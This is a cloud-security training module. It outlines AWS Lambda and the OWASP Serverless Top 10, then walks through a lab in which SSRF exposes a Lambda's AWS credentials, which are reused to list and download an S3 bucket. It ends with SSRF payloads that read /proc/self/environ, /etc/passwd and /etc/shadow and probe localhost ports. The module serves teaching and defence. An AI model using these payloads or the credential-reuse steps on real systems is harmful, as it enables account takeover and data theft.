Attacking AWS Lambda
What is AWS Lambda?
AWS Lambda is a serverless computing service that enables developers to run code without provisioning or managing servers. It represents a fundamental shift from the traditional model of server-based computing to an event-driven, pay-as-you-go paradigm. With AWS Lambda, you can focus on writing code and defining event-driven functions, while AWS takes care of the underlying infrastructure, scaling, and maintenance.
Common Use Cases:
AWS Lambda is an incredibly versatile service used in a wide range of applications, including:
Real-time Data Processing: Analyzing and processing real-time data streams from sources like IoT devices or social media feeds.
Automated Backends: Building serverless backends for mobile and web applications, allowing developers to focus on functionality rather than infrastructure.
Scheduled Tasks: Running code on a schedule, such as automated backups, report generation, and cleanup tasks.
Data Transformation: Transforming data from one format to another, making it suitable for storage or analysis.
Image and Video Processing: Optimizing, resizing, or converting media files as they're uploaded to a cloud storage service.
AWS Lambda's ability to simplify development, enhance scalability, and reduce operational overhead has made it a cornerstone of modern cloud application architecture. Therefore, it is an important consideration when we discuss AWS Security.
OWASP Top 10 Serverless
The Open Worldwide Application Security Project (or OWASP) is an online community which works towards helping people understand how to improve the security of their projects and applications.
Over the years, they have published a number of Top 10 lists to spread awareness about the most common security risks in various types of applications.
The OWASP Top 10 Serverless Security Risks is a document created by OWASP to raise awareness about the most critical security risks facing serverless applications. It outlines the top 10 most prevalent and significant vulnerabilities that developers and organizations need to be aware of when designing, building, deploying, and managing serverless architectures and functions-as-a-service.
The risks it highlights are:
Injection: Just as in traditional web applications, serverless functions can be vulnerable to injection attacks. Attackers can potentially inject malicious code or commands via event data, leading to data breaches or even remote code execution.
Broken Authentication: Serverless applications often rely on various authentication mechanisms. Misconfigured authentication or improper handling of access tokens can expose sensitive data and functions to unauthorized users.
Sensitive Data Exposure: Serverless functions may inadvertently expose sensitive data due to misconfigurations, weak encryption, or inadequate access control. Secure data handling and storage are critical in serverless environments.
XXE (XML External Entity) is a vulnerability that can occur in serverless applications when processing XML input, like SOAP APIs. Serverless functions are often deployed as public HTTP endpoints or APIs. If the input parsing allows references to external XML entities, an attacker could exploit this to gain access to internal files or overload the application.
Broken Access Control Permissive IAM policies/roles can allow privilege escalation. Access should be restricted using least privilege. Attackers will target high-privileged serverless functions to get access other resources within the environment.
Security Misconfiguration - Lack of strict controls around config deployments can lead to insecure settings being applied. Unprotected function endpoints, hardcoded secrets or resource names etc are all examples of this risk.
Cross-Site Scripting (XSS) - This vulnerability targets the victim’s browser by injecting malicious code and attempt to deliver malicious files or steal sensitive information from the victim. Since the attack vectors rely on bring browser-based, this vulnerability can also be present in serverless applications.
Insecure Deserialization: Since serverless applications mostly run on languages like NodeJs or Python and involve heavy usage of JSON, these applications are vulnerable to deserialization as well.
Using Components With Known Vulnerabilities: Serverless functions often rely on multiple 3rd-party libraries. If any of these libraries is vulnerable, the serverless function is also at risk.
Insufficient Logging and Monitoring: Serverless platforms may have limited built-in logging and monitoring capabilities. It's essential to implement effective logging and monitoring to detect and respond to security incidents on time.
Reference:
**Scenario - Lambda Function vulnerable to SSRF
Potential Impact -** Privilege escalation to Lambda function’s IAM Role
In this scenario, we have come across an API gateway URL which was exposed through the website’s source code. This API gateway URL is actually being used to trigger a Lambda function using the given parameter and return a response. This Lambda function is vulnerable to Server Side Request Forgery, which allows us to obtain AWS credentials for the Lambda function’s role from it. We then use the credentials to access data within the account’s S3 buckets.
Access the API Gateway URL below:
https://cps99yone6.execute-api.us-east-2.amazonaws.com/chall-lambda-stage/?url=http://api.open-notify.org/astros.json
Lo and behold! We can retrieve the contents of the “/proc/self/environ” file and we can see the Lambda environment variables. This file is present within all Linux systems. We check for it here since it provides us with a lot of details about the Lambda function. If a Lambda function is vulnerable to SSRF, this
Moreover, we also get the access credentials namely
AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
and
AWS_SESSION_TOKEN.
Let’s try configuring these environment variables to be used along with awscli:
Now, we can verify our credentials using
aws sts get-caller-identity
We now have access to the Lambda function’s execution role.
Whenever we obtain credentials for AWS, we can use tools like enumerate-iam to check our level of access to the environment. (We have demonstrated the same in other modules within this training).
Alternatively, we can start by trying to access the most commonly used AWS resources like S3, EC2 etc. Let’s see if we can get details regarding the S3 buckets within the account:
aws s3 ls
We can now try to download the contents of any S3 bucket to the current directory using
aws s3 cp —recursive
Let’s try using that and see if we’re able to download anything from the alambdabucket-a1 bucket.
aws s3 cp --recursive s3://alambdabucket-a1 s3bucket
TIP: Another interesting endpoint to try out is
http://localhost:9001/2018-06-01/runtime/invocation/next
This endpoint gives you information about the Lambda function’s event data. You can also check out the HTTP headers returned.
Mitigation:
Make sure that your Lambda functions are configured to reject any requests to internal endpoints and files.
Ensure that the IAM Roles attached to the Lambda functions follow the principle of least privilege.
Additional Information
When looking for SSRF vulnerabilities, the following payloads can be used:
Linux
[file://proc/self/environ](file://proc/self/environ) - Shows the environment variables
[file://etc/passwd](file://etc/passwd) - Shows list of users on the system
[file://etc/shadow](file://etc/shadow) - Shows password hashes (Unlikely to work, only root has access to it)
HTTP
?url=localhost:22
?url=localhost:3389
-SSRF vulnerabilities can also be used to scan ports
Other SSRF payloads can be found over athttps://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server Side Request Forgery/README.md#file
Last updated